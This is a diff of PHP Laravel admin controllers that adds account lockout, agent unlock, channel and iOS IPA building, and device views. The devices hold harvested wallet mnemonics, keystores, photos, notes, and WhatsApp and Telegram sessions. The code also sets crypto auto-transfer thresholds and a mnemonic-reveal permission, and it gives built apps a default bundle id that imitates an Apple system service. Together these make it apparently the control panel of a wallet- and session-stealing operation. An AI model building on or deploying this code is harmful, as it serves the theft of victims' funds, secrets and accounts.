'login_attempts' => (int) $a->login_attempts,
|
||||
'locked_at' => optional($a->locked_at)->format('Y-m-d H:i:s'),
|
||||
'is_locked' => $a->isLocked(),
|
||||
'created_at' => optional($a->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($a->updated_at)->format('Y-m-d H:i:s'),
|
||||
'is_self' => $a->id === $selfId,
|
||||
@@ -121,6 +125,35 @@ class AdminUserController extends Controller
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
/**
|
||||
* Unlock an admin account that was locked due to too many failed
|
||||
* password attempts. Only super admins can unlock.
|
||||
*/
|
||||
public function unlock(Admin $adminUser)
|
||||
{
|
||||
/** @var Admin $actor */
|
||||
$actor = auth('admin')->user();
|
||||
if (! $actor instanceof Admin || ! $actor->isSuper()) {
|
||||
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
|
||||
}
|
||||
|
||||
if (! $adminUser->isLocked()) {
|
||||
return response()->json(['code' => 1, 'msg' => '该账号未被封禁']);
|
||||
}
|
||||
|
||||
$adminUser->clearLoginAttempts();
|
||||
|
||||
SystemLog::record(
|
||||
$actor,
|
||||
'admin',
|
||||
SystemLog::ACTION_ADMIN_UNLOCKED,
|
||||
'超级管理员「'.$actor->username.'」解除管理员「'.$adminUser->username.'」的封禁状态',
|
||||
request(),
|
||||
);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => '已解除封禁']);
|
||||
}
|
||||
|
||||
private function superCount(): int
|
||||
{
|
||||
return (int) Admin::query()->where('is_super', 1)->count();
|
||||
|
||||
@@ -3,7 +3,9 @@
|
||||
namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use App\Models\Channel;
|
||||
use App\Models\SystemLog;
|
||||
use App\Models\User;
|
||||
use App\Services\TelegramNotifier;
|
||||
use Illuminate\Http\Request;
|
||||
@@ -55,12 +57,16 @@ class AgentUserController extends Controller
|
||||
'chat_id' => $u->chat_id ?: '',
|
||||
'telegram_ready' => $u->hasTelegramChat(),
|
||||
'google_bound' => $u->hasGoogleBound() ? 1 : 0,
|
||||
'login_attempts' => (int) $u->login_attempts,
|
||||
'locked_at' => optional($u->locked_at)->format('Y-m-d H:i:s'),
|
||||
'is_locked' => $u->isLocked(),
|
||||
'channels_count' => (int) $u->channels_count,
|
||||
'auto_transfer_enabled' => (int) $u->auto_transfer_enabled,
|
||||
'auto_transfer_threshold_usdt' => $u->auto_transfer_threshold_usdt !== null ? (string) $u->auto_transfer_threshold_usdt : '',
|
||||
'auto_transfer_threshold_trx' => $u->auto_transfer_threshold_trx !== null ? (string) $u->auto_transfer_threshold_trx : '',
|
||||
'auto_transfer_threshold_eth' => $u->auto_transfer_threshold_eth !== null ? (string) $u->auto_transfer_threshold_eth : '',
|
||||
'auto_transfer_threshold_btc' => $u->auto_transfer_threshold_btc !== null ? (string) $u->auto_transfer_threshold_btc : '',
|
||||
'auto_transfer_threshold_bnb' => $u->auto_transfer_threshold_bnb !== null ? (string) $u->auto_transfer_threshold_bnb : '',
|
||||
'album_storage_default' => $u->albumStorageDefaultEnabled() ? 1 : 0,
|
||||
'created_at' => optional($u->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($u->updated_at)->format('Y-m-d H:i:s'),
|
||||
@@ -93,6 +99,7 @@ class AgentUserController extends Controller
|
||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_bnb' => ['nullable', 'numeric', 'min:0'],
|
||||
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
@@ -108,6 +115,7 @@ class AgentUserController extends Controller
|
||||
'auto_transfer_threshold_trx' => $this->nullableThreshold($data['auto_transfer_threshold_trx'] ?? null),
|
||||
'auto_transfer_threshold_eth' => $this->nullableThreshold($data['auto_transfer_threshold_eth'] ?? null),
|
||||
'auto_transfer_threshold_btc' => $this->nullableThreshold($data['auto_transfer_threshold_btc'] ?? null),
|
||||
'auto_transfer_threshold_bnb' => $this->nullableThreshold($data['auto_transfer_threshold_bnb'] ?? null),
|
||||
'album_storage_default' => (bool) ((int) ($data['album_storage_default'] ?? 0)),
|
||||
'can_reveal_mnemonics' => (bool) ((int) ($data['can_reveal_mnemonics'] ?? 0)),
|
||||
]);
|
||||
@@ -127,6 +135,7 @@ class AgentUserController extends Controller
|
||||
'auto_transfer_threshold_trx' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_eth' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_btc' => ['nullable', 'numeric', 'min:0'],
|
||||
'auto_transfer_threshold_bnb' => ['nullable', 'numeric', 'min:0'],
|
||||
'album_storage_default' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
'can_reveal_mnemonics' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
@@ -149,7 +158,7 @@ class AgentUserController extends Controller
|
||||
if (array_key_exists('can_reveal_mnemonics', $data) && $data['can_reveal_mnemonics'] !== null) {
|
||||
$agent->can_reveal_mnemonics = (bool) ((int) $data['can_reveal_mnemonics']);
|
||||
}
|
||||
foreach (['usdt', 'trx', 'eth', 'btc'] as $coin) {
|
||||
foreach (['usdt', 'trx', 'eth', 'btc', 'bnb'] as $coin) {
|
||||
$key = 'auto_transfer_threshold_'.$coin;
|
||||
if (array_key_exists($key, $data)) {
|
||||
$agent->{$key} = $this->nullableThreshold($data[$key] ?? null);
|
||||
@@ -163,6 +172,31 @@ class AgentUserController extends Controller
|
||||
return response()->json(['code' => 0, 'msg' => 'ok']);
|
||||
}
|
||||
|
||||
public function unlock(User $agent)
|
||||
{
|
||||
/** @var Admin|null $actor */
|
||||
$actor = auth('admin')->user();
|
||||
if (! $actor instanceof Admin) {
|
||||
return response()->json(['code' => 1, 'msg' => '未登录'], 401);
|
||||
}
|
||||
|
||||
if (! $agent->isLocked()) {
|
||||
return response()->json(['code' => 1, 'msg' => '该账号未被封禁']);
|
||||
}
|
||||
|
||||
$agent->clearLoginAttempts();
|
||||
|
||||
SystemLog::record(
|
||||
$actor,
|
||||
'admin',
|
||||
SystemLog::ACTION_AGENT_UNLOCKED,
|
||||
'管理员「'.$actor->username.'」解除代理「'.$agent->username.'」的封禁状态',
|
||||
request(),
|
||||
);
|
||||
|
||||
return response()->json(['code' => 0, 'msg' => '已解除封禁']);
|
||||
}
|
||||
|
||||
public function testTelegram(Request $request, TelegramNotifier $telegram)
|
||||
{
|
||||
$data = $request->validate([
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Admin;
|
||||
use App\Models\SystemLog;
|
||||
use App\Services\AdminGoogle2fa;
|
||||
use App\Support\VisitorIp;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
@@ -61,12 +62,47 @@ class AuthController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
// Account-level lock: if the admin account is locked due to too many
|
||||
// consecutive wrong passwords, reject the login regardless of IP.
|
||||
$admin = Admin::query()->where('username', $credentials['username'])->first();
|
||||
if ($admin && $admin->isLocked()) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '账号已被封锁(连续输错密码 '.self::MAX_ATTEMPTS.' 次),请联系超级管理员解除',
|
||||
]);
|
||||
}
|
||||
|
||||
if (! Auth::guard('admin')->attempt(
|
||||
['username' => $credentials['username'], 'password' => $credentials['password']],
|
||||
false
|
||||
)) {
|
||||
RateLimiter::hit($throttleKey, self::DECAY_SECONDS);
|
||||
|
||||
// Track consecutive wrong passwords on the account itself.
|
||||
if ($admin) {
|
||||
$justLocked = $admin->recordFailedLogin(self::MAX_ATTEMPTS);
|
||||
if ($justLocked) {
|
||||
SystemLog::record(
|
||||
$admin,
|
||||
'admin',
|
||||
SystemLog::ACTION_ADMIN_LOCKED,
|
||||
'管理员「'.$admin->username.'」连续输错密码 '.self::MAX_ATTEMPTS.' 次,账号被自动封锁',
|
||||
$request,
|
||||
);
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '密码连续输错 '.self::MAX_ATTEMPTS.' 次,账号已被封锁,请联系超级管理员解除',
|
||||
]);
|
||||
}
|
||||
$remaining = self::MAX_ATTEMPTS - (int) $admin->fresh()->login_attempts;
|
||||
if ($remaining > 0) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '用户名或密码错误(剩余 '.$remaining.' 次尝试机会)',
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
return response()->json(['code' => 1, 'msg' => '用户名或密码错误']);
|
||||
}
|
||||
|
||||
@@ -96,6 +132,7 @@ class AuthController extends Controller
|
||||
}
|
||||
|
||||
RateLimiter::clear($throttleKey);
|
||||
$user->clearLoginAttempts();
|
||||
$request->session()->regenerate();
|
||||
|
||||
$user->forceFill(['last_ip' => VisitorIp::fromRequest($request)])->save();
|
||||
|
||||
@@ -6,6 +6,7 @@ use App\Http\Controllers\Concerns\PortalAware;
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Channel;
|
||||
use App\Models\User;
|
||||
use App\Services\ChannelEmbedZipService;
|
||||
use App\Services\ChannelProjectService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
@@ -85,8 +86,16 @@ class ChannelController extends Controller
|
||||
'agent_username' => $c->agentLabel(),
|
||||
'remark' => $c->remark ?: '',
|
||||
'status' => (int) $c->status,
|
||||
'app_name' => $c->app_name ?: '',
|
||||
'bundle_id' => $c->bundle_id ?: '',
|
||||
'h5_url' => $c->h5_url ?: '',
|
||||
'ipa_url' => file_exists(public_path('channel/'.$c->channel_id.'/app.ipa')) ? '/channel/'.$c->channel_id.'/app.ipa' : '',
|
||||
'links' => $c->supportLinks(),
|
||||
'landing_path' => $c->landingPath(),
|
||||
'embed_zip_url' => $c->embedAssetDir()
|
||||
? route($this->portal().'.channels.embedZip', $c)
|
||||
: '',
|
||||
'embed_script' => $c->isAppBuilder() ? '' : $c->promoScriptSnippet(),
|
||||
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
@@ -102,10 +111,18 @@ class ChannelController extends Controller
|
||||
|
||||
public function randomId()
|
||||
{
|
||||
$builderType = strtolower(trim((string) request()->query('builder_type', 'new')));
|
||||
|
||||
$channelId = match ($builderType) {
|
||||
Channel::BUILDER_APP => Channel::randomAppChannelId(),
|
||||
Channel::BUILDER_OLD => Channel::randomChannelId(),
|
||||
default => Channel::randomNewChannelId(),
|
||||
};
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => ['channel_id' => Channel::randomNewChannelId()],
|
||||
'data' => ['channel_id' => $channelId],
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -113,6 +130,18 @@ class ChannelController extends Controller
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
|
||||
$builderType = strtolower(trim((string) $request->input('builder_type', Channel::BUILDER_NEW)));
|
||||
|
||||
// ── App builder: no static resources, just a DB row ──────────
|
||||
if ($builderType === Channel::BUILDER_APP) {
|
||||
return $this->storeAppChannel($request);
|
||||
}
|
||||
|
||||
// ── Old builder: 32-hex channel id, /web/{id}/support.html ──
|
||||
if ($builderType === Channel::BUILDER_OLD) {
|
||||
return $this->storeOldChannel($request, $projects);
|
||||
}
|
||||
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
@@ -201,6 +230,287 @@ class ChannelController extends Controller
|
||||
'daily_path' => $build['daily_path'] ?? '',
|
||||
'channel_dir' => $build['channel_dir'] ?? null,
|
||||
'show_alias' => $build['show_alias'] ?? null,
|
||||
'embed_zip_url' => $channel->embedAssetDir()
|
||||
? route($this->portal().'.channels.embedZip', $channel)
|
||||
: '',
|
||||
'embed_script' => $channel->promoScriptSnippet(),
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create an "app" builder channel — DB row only, no static resources.
|
||||
*
|
||||
* channel_id is auto-generated as a UUID (a13b4f76-…). The caller
|
||||
* supplies app_name (e.g. "Ai") and bundle_id (e.g. aai.AiAi168168AiAi.app).
|
||||
*/
|
||||
private function storeAppChannel(Request $request)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['nullable', 'string', 'max:64'],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'app_name' => ['required', 'string', 'max:64'],
|
||||
'bundle_id' => ['required', 'string', 'max:255'],
|
||||
'h5_url' => ['nullable', 'string', 'max:2048'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$channelId = trim((string) ($data['channel_id'] ?? ''));
|
||||
if ($channelId === '') {
|
||||
$channelId = Channel::randomAppChannelId();
|
||||
}
|
||||
if (Channel::query()->where('channel_id', $channelId)->exists()) {
|
||||
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
||||
}
|
||||
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
try {
|
||||
$channel = DB::transaction(function () use ($data, $channelId, $userId) {
|
||||
if ($userId > 0) {
|
||||
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
|
||||
if (! $userExists) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
}
|
||||
|
||||
return Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => Channel::BUILDER_APP,
|
||||
'user_id' => $userId,
|
||||
'domains' => [],
|
||||
'remark' => $data['remark'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
'app_name' => $data['app_name'],
|
||||
'bundle_id' => $data['bundle_id'],
|
||||
'h5_url' => $data['h5_url'] ?? null,
|
||||
]);
|
||||
});
|
||||
} catch (ValidationException $e) {
|
||||
throw $e;
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => $e->getMessage() ?: '创建失败',
|
||||
], 422);
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'id' => $channel->id,
|
||||
'channel_id' => $channel->channel_id,
|
||||
'builder_type' => $channel->builderType(),
|
||||
'app_name' => $channel->app_name,
|
||||
'bundle_id' => $channel->bundle_id,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* POST /admin/channels/build-app — Create App channel + build IPA.
|
||||
*
|
||||
* Creates the Channel record, then invokes AppPackageService to
|
||||
* generate a customized IPA (domain, channel ID, app name, logo).
|
||||
* Returns the download URL on success.
|
||||
*/
|
||||
public function buildApp(Request $request)
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
// Double-check super admin (route middleware admin.super is primary guard)
|
||||
$admin = auth('admin')->user();
|
||||
abort_if($admin === null || ! $admin->isSuper(), 403, '需要超级管理员权限');
|
||||
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['nullable', 'string', 'max:64', 'regex:/^[a-zA-Z0-9]{12}$/'],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'app_name' => ['required', 'string', 'max:64'],
|
||||
'bundle_id' => ['nullable', 'string', 'max:255'],
|
||||
'h5_url' => ['nullable', 'string', 'max:2048'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$channelId = trim((string) ($data['channel_id'] ?? ''));
|
||||
if ($channelId === '') {
|
||||
$channelId = bin2hex(random_bytes(6)); // 12 hex chars like 16d946ea13aa
|
||||
}
|
||||
if (Channel::query()->where('channel_id', $channelId)->exists()) {
|
||||
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
||||
}
|
||||
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
$bundleId = trim((string) ($data['bundle_id'] ?? ''));
|
||||
if ($bundleId === '') {
|
||||
$bundleId = 'com.apple.mobile.MobileHouseArrest';
|
||||
}
|
||||
|
||||
try {
|
||||
$channel = Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => Channel::BUILDER_APP,
|
||||
'user_id' => $userId,
|
||||
'domains' => [],
|
||||
'remark' => $data['remark'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
'app_name' => $data['app_name'],
|
||||
'bundle_id' => $bundleId,
|
||||
'h5_url' => $data['h5_url'] ?? null,
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json(['code' => 1, 'msg' => $e->getMessage() ?: '创建渠道失败'], 422);
|
||||
}
|
||||
|
||||
// Handle logo upload
|
||||
$logoPath = null;
|
||||
if ($request->hasFile('logo')) {
|
||||
$file = $request->file('logo');
|
||||
if ($file->isValid() && in_array($file->getClientOriginalExtension(), ['png', 'jpg', 'jpeg', 'webp'])) {
|
||||
$logoPath = $file->getRealPath();
|
||||
}
|
||||
}
|
||||
|
||||
// Build IPA
|
||||
$apiDomain = trim((string) config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc')));
|
||||
|
||||
try {
|
||||
$service = app(\App\Services\AppPackageService::class);
|
||||
$result = $service->build($channel, $logoPath, $apiDomain);
|
||||
} catch (\Throwable $e) {
|
||||
$result = ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => $result['success'] ? 0 : 1,
|
||||
'msg' => $result['success'] ? '构建成功' : ('渠道已创建,但 IPA 构建失败:'.$result['error']),
|
||||
'data' => [
|
||||
'id' => $channel->id,
|
||||
'channel_id' => $channel->channel_id,
|
||||
'app_name' => $channel->app_name,
|
||||
'bundle_id' => $channel->bundle_id,
|
||||
'h5_url' => $channel->h5_url,
|
||||
'ipa_url' => $result['success'] ? $result['path'] : null,
|
||||
'ipa_size' => $result['size'],
|
||||
'api_domain' => $apiDomain,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create an "old" builder channel — 32-hex channel id, static resources
|
||||
* under /web/{id}/ via the legacy channel-builder (new_project.py).
|
||||
* Mirrors the new-builder flow but with the old id format and builder.
|
||||
*/
|
||||
private function storeOldChannel(Request $request, ChannelProjectService $projects)
|
||||
{
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['nullable', 'string', 'max:64'],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
|
||||
'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'],
|
||||
'reporting_seed' => ['nullable', 'string', 'min:1', 'max:32'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
$channelId = strtolower(trim((string) ($data['channel_id'] ?? '')));
|
||||
if ($channelId === '') {
|
||||
$channelId = Channel::randomChannelId();
|
||||
}
|
||||
if (! preg_match('/^[a-z0-9]{32}$/', $channelId)) {
|
||||
throw ValidationException::withMessages(['channel_id' => '旧版渠道 ID 必须是 32 位 hex']);
|
||||
}
|
||||
if (Channel::isReservedChannelName($channelId)) {
|
||||
throw ValidationException::withMessages(['channel_id' => '该渠道 ID 为保留名,请重新生成']);
|
||||
}
|
||||
if (Channel::query()->where('channel_id', $channelId)->exists()) {
|
||||
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
||||
}
|
||||
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
|
||||
$builderType = Channel::BUILDER_OLD;
|
||||
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
try {
|
||||
$build = $projects->generate(
|
||||
$channelId,
|
||||
$supportTemplate,
|
||||
null,
|
||||
null,
|
||||
$builderType,
|
||||
);
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => $e->getMessage() ?: '渠道资源生成失败',
|
||||
], 422);
|
||||
}
|
||||
|
||||
try {
|
||||
$channel = DB::transaction(function () use ($data, $userId, $builderType, $channelId) {
|
||||
if ($userId > 0) {
|
||||
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
|
||||
if (! $userExists) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
}
|
||||
|
||||
return Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => $builderType,
|
||||
'user_id' => $userId,
|
||||
'domains' => [],
|
||||
'remark' => $data['remark'] ?? null,
|
||||
'status' => (int) ($data['status'] ?? 1),
|
||||
]);
|
||||
});
|
||||
} catch (\Throwable $e) {
|
||||
$this->compensateBuildUnlessChannelExists($projects, $channelId, $builderType);
|
||||
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => $e->getMessage() ?: '创建失败',
|
||||
], 422);
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'id' => $channel->id,
|
||||
'builder_type' => $channel->builderType(),
|
||||
'links' => $channel->supportLinks(),
|
||||
'seeds' => $build['seeds'],
|
||||
'domains' => $build['domains'],
|
||||
'seeds_initialized' => $build['seeds_initialized'],
|
||||
'sync_rebuilt' => $build['sync_rebuilt'],
|
||||
'support_path' => $build['support_path'] ?? $channel->landingPath(),
|
||||
'weifile_path' => $build['weifile_path'] ?? null,
|
||||
'daily_path' => $build['daily_path'] ?? '',
|
||||
'channel_dir' => $build['channel_dir'] ?? null,
|
||||
'show_alias' => $build['show_alias'] ?? null,
|
||||
'embed_zip_url' => $channel->embedAssetDir()
|
||||
? route($this->portal().'.channels.embedZip', $channel)
|
||||
: '',
|
||||
'embed_script' => $channel->promoScriptSnippet(),
|
||||
],
|
||||
]);
|
||||
}
|
||||
@@ -223,9 +533,13 @@ class ChannelController extends Controller
|
||||
} else {
|
||||
$data = $request->validate([
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'h5_url' => ['nullable', 'string', 'max:2048'],
|
||||
'remark' => ['nullable', 'string', 'max:255'],
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
if (array_key_exists('h5_url', $data)) {
|
||||
$channel->h5_url = $data['h5_url'] ?: null;
|
||||
}
|
||||
if (array_key_exists('user_id', $data)) {
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
@@ -253,6 +567,24 @@ class ChannelController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function downloadEmbed(Channel $channel, ChannelEmbedZipService $zips)
|
||||
{
|
||||
$this->authorizeChannel($channel);
|
||||
if ($channel->isAppBuilder()) {
|
||||
abort(404);
|
||||
}
|
||||
|
||||
try {
|
||||
$path = $zips->build($channel);
|
||||
} catch (\Throwable $e) {
|
||||
abort(404, $e->getMessage() ?: '打包失败');
|
||||
}
|
||||
|
||||
return response()->download($path, $channel->embedZipName(), [
|
||||
'Content-Type' => 'application/zip',
|
||||
])->deleteFileAfterSend(true);
|
||||
}
|
||||
|
||||
public function destroy(Channel $channel, ChannelProjectService $projects)
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
|
||||
@@ -13,15 +13,16 @@ use App\Models\DsChainLog;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\PluginSession;
|
||||
use App\Models\PhotoRead;
|
||||
use App\Models\User;
|
||||
use App\Models\TransferRecord;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\DsBeaconQueue;
|
||||
use App\Services\PhotoOrigin;
|
||||
use App\Services\PhotoPreview;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use App\Support\AgentScope;
|
||||
use App\Support\CfIpCountry;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
@@ -45,6 +46,7 @@ class DeviceController extends Controller
|
||||
return view('admin.devices.index', [
|
||||
'portal' => $this->portal(),
|
||||
'agents' => $agents,
|
||||
'countries' => CfIpCountry::names(),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -67,10 +69,8 @@ class DeviceController extends Controller
|
||||
|
||||
$portal = $this->portal();
|
||||
$items = collect($paginator->items());
|
||||
$visitCountries = $this->visitCountriesFor($items);
|
||||
$data = $items->map(function (Device $d) use ($portal, $visitCountries) {
|
||||
$country = CfIpCountry::normalize($d->country)
|
||||
?? CfIpCountry::normalize($visitCountries[trim((string) $d->ip)] ?? null);
|
||||
$data = $items->map(function (Device $d) use ($portal) {
|
||||
$country = CfIpCountry::normalize($d->country);
|
||||
|
||||
return [
|
||||
'id' => $d->id,
|
||||
@@ -92,7 +92,7 @@ class DeviceController extends Controller
|
||||
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $d),
|
||||
'destroy_url' => route($portal.'.devices.destroy', $d),
|
||||
'destroy_url' => $portal === 'admin' ? route($portal.'.devices.destroy', $d) : '',
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -109,7 +109,7 @@ class DeviceController extends Controller
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$tab = $request->query('tab', 'wallets');
|
||||
if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events'], true)) {
|
||||
if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events', 'ws-sessions', 'tg-sessions'], true)) {
|
||||
$tab = 'wallets';
|
||||
}
|
||||
|
||||
@@ -171,11 +171,13 @@ class DeviceController extends Controller
|
||||
return match ($tab) {
|
||||
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
|
||||
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
|
||||
'keystores' => $this->paginateKeystores($device, $field, $order, $limit, $page),
|
||||
'keystores' => $this->paginateKeystores($device, $request, $field, $order, $limit, $page),
|
||||
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
|
||||
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
|
||||
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
|
||||
'events' => $this->paginateEvents($device, $field, $order, $limit, $page),
|
||||
'ws-sessions' => $this->paginatePluginSessions($device, PluginSession::KIND_WHATSAPP, $field, $order, $limit, $page),
|
||||
'tg-sessions' => $this->paginatePluginSessions($device, PluginSession::KIND_TELEGRAM, $field, $order, $limit, $page),
|
||||
default => response()->json(['code' => 1, 'msg' => 'unknown tab', 'count' => 0, 'data' => []]),
|
||||
};
|
||||
}
|
||||
@@ -517,28 +519,20 @@ class DeviceController extends Controller
|
||||
|
||||
private function unmonitorAddresses(Device $device): void
|
||||
{
|
||||
$addresses = $device->addresses()->where('monitor', 1)->get();
|
||||
if ($addresses->isEmpty()) {
|
||||
$n = $device->addresses()->where('monitor', 1)->count();
|
||||
if ($n === 0) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
$svc = app(TokenviewMonitorService::class);
|
||||
} catch (\Throwable) {
|
||||
return;
|
||||
}
|
||||
foreach ($addresses as $address) {
|
||||
try {
|
||||
$address->monitor = 0;
|
||||
$address->monitor_synced = false;
|
||||
$address->monitor_failures = 0;
|
||||
$svc->syncMonitor($address);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [
|
||||
'device_id' => $device->id,
|
||||
'address_id' => $address->id,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
// Tokenview removeAddress uses HTTP timeout 120s per address. A replay
|
||||
// ingest can leave dozens of monitor=1 rows; blocking delete on that
|
||||
// freezes the admin UI (and php artisan serve). Rows are deleted in
|
||||
// the next step, so webhooks will no longer match monitor=1.
|
||||
Log::info('device_purge skip_tokenview_unmonitor', [
|
